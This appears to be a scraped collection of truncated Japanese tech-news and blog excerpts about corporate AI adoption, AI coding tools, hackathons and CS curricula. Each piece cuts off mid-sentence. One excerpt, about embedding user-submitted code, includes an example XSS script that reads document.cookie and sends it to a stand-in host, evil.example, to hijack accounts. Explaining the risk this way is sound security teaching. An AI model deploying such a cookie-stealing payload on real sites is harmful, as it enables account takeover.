キリンホールディングスは8月4日、AI役員「CoreMate」を経営戦略会議に導入すると発表した。過去10年分の議事録データを学習したAIが複数の人格で議論を行い、経営層に多様な視点を提供するという。 CoreMateは、キリンホールディングスの取締役会やグループ経営戦略会議の議事録データに加え、外部の最新情報を読み込んで構築された12人のAI人格で構成される。これらのAI人格同士が経営戦略会議で議論すべき論点や意見を交換し、抽出された数個の論点を実際の経営戦略会議で経営層に提示する。 導入によって期待できる効果は大きく2つあるという。まず生産性向上の面では、会議の起案者が事前にCoreMateと付議内容について議論することで、多様な経営視点を取り込んだ資料作成が可能になる。これにより会議準備の効率化や会議時間の短縮を実現し、経営層や担当者が価値創造活動に専念できる時間を創出する。 価値創

日本トップクラスでAI活用が進んでいるであろうDeNAが、試行錯誤を経て形にした「AI活用スキルの定義」や「評価方法」。このDARSは、これからAI活用を進めようとする全ての企業にとっての参考事例となるはずです。 「AIを使いこなすとはどういうことか？」「それをどう組織的に底上げしていくべきか？」という難問に対し、最前線の企業が出した“現時点の答え”を知れる意義は大きいでしょう。 個人と組織。それぞれのAI活用度を評価 DARSでは、社員一人一人のAI活用スキルを5段階評価する「個人レベル」と、部署単位でのAI活用成熟度を測る「組織レベル」という2軸で構成されている。 ■ 個人レベル：あなたの“AI活用成熟度”はどの段階？ 開発者(開発を主業務とするエンジニア)と非開発者(ビジネス/クリエイティブ職/マネージャー等)に分類され、AI活用の習熟度に応じてレベル1から5までの段階を設定していま

公的機関の発表資料に適合した作業環境がBEST__情報機器作業における労働衛生管_理のためのガイドラインについて__を添えて.pdf

生成AIによって、エンジニアがどう変わっていくのか？という、さまざまな論考が生まれているので参戦してみます。 98年からエンジニアをしている僕からすれば「開発生産性の向上」というのは常に提示されきたテーマで、生成AIは大きなジャンプではあったものの、産業の進化としては正常な流れなのかな、と思います。 というわけで、よくある「一般的な産業の進化はこうだったから、IT業界もこうなるはず」という感じの論考をChatGPTにまとめてもらいました。 以下の第2章から4章までは、ChatGTPに文章を生成させてます。 第2章：産業の進化は、「作業」から「判断」への流れだった 生成AIがエンジニアの仕事を奪うのではないか──そんな議論を耳にするたびに、どこか既視感を覚える。 この風景は、過去にも何度も繰り返されてきたものだ。労働の現場が新しい技術に置き換えられ、役割が変わり、職種の名前が変わり、やがて産

さらに、生成AIによるコード生成は、単なる「補助」や「時短」では終わらない。今後はAIがコードベース全体の設計思想を理解し、ユーザーインターフェースの設計、バックエンドとの連携、セキュリティ対策の組み込みに至るまで、包括的な開発支援が可能になると予測されている。 この動きは日本におけるIT人材不足やSIerへの過度な依存を見直す好機でもある。自社内にエンジニアリング力を育成し、AIと協働する形で業務開発を推進していく体制づくりがカギとなる。 ■“全社導入”よりも“着火点”を見つける 生成AIの導入において、最初から全社展開を狙うのではなく、「着火点」を見つけて小さく始めることが重要だという。 「AIツールは全員に配布すべきだ。ただし、最初は使いこなせる人材に自由度を与え、小さな成功事例を積み上げることが最も効果的である」(テハル氏) ポイントは、AI導入を“業務改善プロジェクト”としてでは

Kiro(kiro.dev)は、AWSが開発したIDE型のコーディングエージェントです。CursorやWindsurfのようなVS Codeフォークエディタに分類されます。現在はパブリックプレビュー中で、サインアップするとKiroでClaude Sonnet 3.7 とClaude 4 Sonnetを利用できます。 KiroThe AI IDE for prototype to productionKiroKiroの特徴は、スペック駆動開発、エージェントフック、ステアリングファイルといった独自の機能を通じて、ソフトウェア開発のライフサイクル全体を支援します。それぞれ見ていきましょう。 スペック (Specs)駆動開発Kiroの中核をなすのが「スペック＝仕様書」機能です。これは、ユーザーが入力した大まかな指示（例：「ユーザー認証機能を追加して」）をもとに、AIが「要件定義」「設計」「タスクリ

問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo

React Tokyo ミートアップ #7 のメイントークのスライド。 https://react-tokyo.connpass.com/event/358171/

日本人であれば、人に迷惑をかけてはダメ、と言われ続けて育った人が殆どではないかと思う。 だから、隣人をはじめ、公共の場での見知らぬ人々に対して、日本人はとても気を遣う。 道端で座り込んではいけないし、駅のホームでは電車を行儀よく整列して待たねばならない。 道にごみを捨ててはならないし、エレベーターの中で大声でしゃべってもいけない。 もちろん恥知らずも少なからずいるが、こうした「暗黙の了解」は、ほとんどの日本人のマインドに深く根付いており、外に出れば、眉を顰められないように、気を遣って過ごさねばならないと考えている人が殆どだろう。 しかし、上のような「マナー」程度の話であれば問題はないが、それが高じて「決して人に迷惑をかけてはならない」が行き過ぎれば、弊害がある。 それは端的に言えば、「お互いが、お互いを頼らなくなる」ということだ。 人は頼り、頼られてこそ、絆が強くなる。 実際には、人には、

日経BOOKプラスに掲載されている記事、本、著者を任意のキーワードで検索することができます。 ※ISBNも検索にご利用いただけます。ISBNとは出版物固有の13桁の番号で、裏表紙に記載されています。本サイトでISBNを使って書籍を検索する際は、ハイフン（-）を省略し、13桁の数字のみを半角文字で入力してください。

ハッカソンがあちこちで開催されている。これまでハッカソンとはどういうものかという説明をいろいろしてきた。しかし、「ハッカソンで勝つ」とはどういうことかということについて説明してこなかった。 ハッカソンは競技である。競技である以上、明確な「勝つための戦略」がある。 ハッカソンで「勝つ」とはどういうことなのか。どういう戦略に基づいて、どのように勝つべきなのか。それについてこれから説明を試みる。 最初に言っておくが、ハッカソンで勝つために絶対の方法はない。 そもそも競技で勝つための戦略というのは、典型的な「答えのない問題」なのだ。相手がいる限り、勝つのは常に容易ではない。 ハッカソンのチームビルディングハッカソンにおいて、チームビルディングは戦略の要諦である。人間である以上、必ず得意・不得意がある。単に腕自慢を集めればいいと言うものではない。ハッカソンで勝利するのは、必ずしも腕のいいプログラマー

ネタ元 J17-CS: カリキュラム標準コンピュータ科学領域(CS) CS2013: Curriculum Guidelines for Undergraduate Programs in Computer Science CC2020(Computing Curricula 2020): Paradigms for Global Computing Education. 位置づけ J17-CSは情報処理学会が定める日本の大学向けのカリキュラム標準 J17-CSはACMが定義したCS2013を出発点に検討されている だいたい10年周期ぐらいで見直されてる CS2013はグローバルなコンピュータサイエンスのカリキュラム ACMはAssociation for Computing Machineryの略称 ACMは世界でもっとも影響力のあるアメリカの計算機科学分野の学会 CC2020はコンピュ

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本記事では、2025年5月14日に開催されたオンラインイベント「【技術選定を突き詰める】Online Conferenc​​e 2025」内のセッション「技術選定の審美眼 2025年版」の内容をお届けします。同セッションでは、タワーズ・クエスト株式会社の和田卓人（@t_wada）さんに、1990年代前半から現在にかけての技術の変化の歴史についてお話いただきました。ぜひ本編のアーカイブ動画とあわせてご覧ください。 和田： 和田卓人（t-wada）と申します。インターネット上ではt-wadaさんと呼ばれています。技術顧問としてコンサルティング業を多く手掛ける傍ら、技術書の出版や翻訳にも関わっています。SQLアンチパターンという本の第2版が7月上旬に発売されますので、是非よろしくお願いいたします。 本日の講演は、「技術選定の審美眼2025年版」です。2018年頃にDevelopers Summi

自己紹介 • 加瀬 健太（@Kesin11） • 職歴 • 2023/07 転職、生産性向上チームで主にGitHub Actions基盤 • 2025/01 AIやっていきチームに異動 • 普段の業務 • CursorやDifyなどのAI関連ツールのアカウント管理・運用 @Kesin11 • 社内のAI活用推進 @Kesin11 • 最新ツールを業務利用しても問題ないかの調査 • 社内向けの利用ガイドドキュメント作成 • 趣味 al @kesin11.bsky.soci • github.blog /changelogを毎朝見ること • VSCodeのリリースノートを毎月見ること • どちらも2021年から続いている趣味 2

本記事は、CC BY-SA 4.0ライセンスで公開します。 コモンズ証 - 表示-継承 4.0 国際 - Creative Commons 本記事の文面は、明示している部分を除き、AIでは生成していません。 本シリーズ記事では簡単のため、特に断らない限り、各種AIサービスやLLM（大規模言語モデル）といった個別の要素を捨象して、一般的な語である「AI」と呼ぶことにしています。 本シリーズ記事で扱うAIは、特に断らない限り、以下の分類で言う「生成AI」、その中でも会話（自然言語）による指示で動くAIに限定しています。また、AIの用途も基本的に業務用を想定しています。 生成AI: 新しいコンテンツを生成するAI（チャットAI、コーディング支援AI、ドキュメント作成補助AI）。画像・音声・動画を生成するAIも広義にはここに含まれる。 認識AI: 入力された画像や音声などのデータを分析して認識する

元Hugging Faceのテクニカルリードで、Google DeepMindのシニアAIリレーションエンジニアであるフィリップ・シュミット氏が、AIを使う上で「コンテキストエンジニアリング」が必須であると、自身のブログで主張しています。 The New Skill in AI is Not Prompting, It's Context Engineering https://www.philschmid.de/context-engineering 一般的に、AIのレスポンスを最適化するためには、AIへの指示を具体的かつ詳細なものにする「プロンプトエンジニアリング」が有効といわれています。しかし、シュミット氏は、AIの世界ではこれまで重要視されていた「プロンプトエンジニアリング」から、より広範で強力な概念である「コンテキストエンジニアリング」へと焦点が移りつつあると論じています。 コン

新規プロダクトの企画時は、まず生成AIなどで開発したプロトタイプを持ってくること、企画書のみ提出はNG──DeNAが一部の部署で、ある新制度を採用していることが7月4日までに判明した。「企画書を書くより実装の方が早く、現物を見て判断した方が良い判断ができる」「企画者が生成AIの挙動を理解している方が企画の精度が上がる」といった判断に基づく制度という。 制度を採用しているのは、4月に発足した「AIイノベーション事業本部」。対象はエンジニアだけでなくビジネス職やデザイナー職などのクリエイティブ職など、同本部の全員だ。 制度導入のきっかけは前身となる組織で浮き彫りになった、企画書とプロトタイプの乖離（かいり）だ。2024年10月に発足した同組織では、企画書の制作後、プロトタイプを作るタイミングで、仕様などが当初の想定と乖離（かいり）することが増えていた。 一方、生成AIの登場や進化により「企画書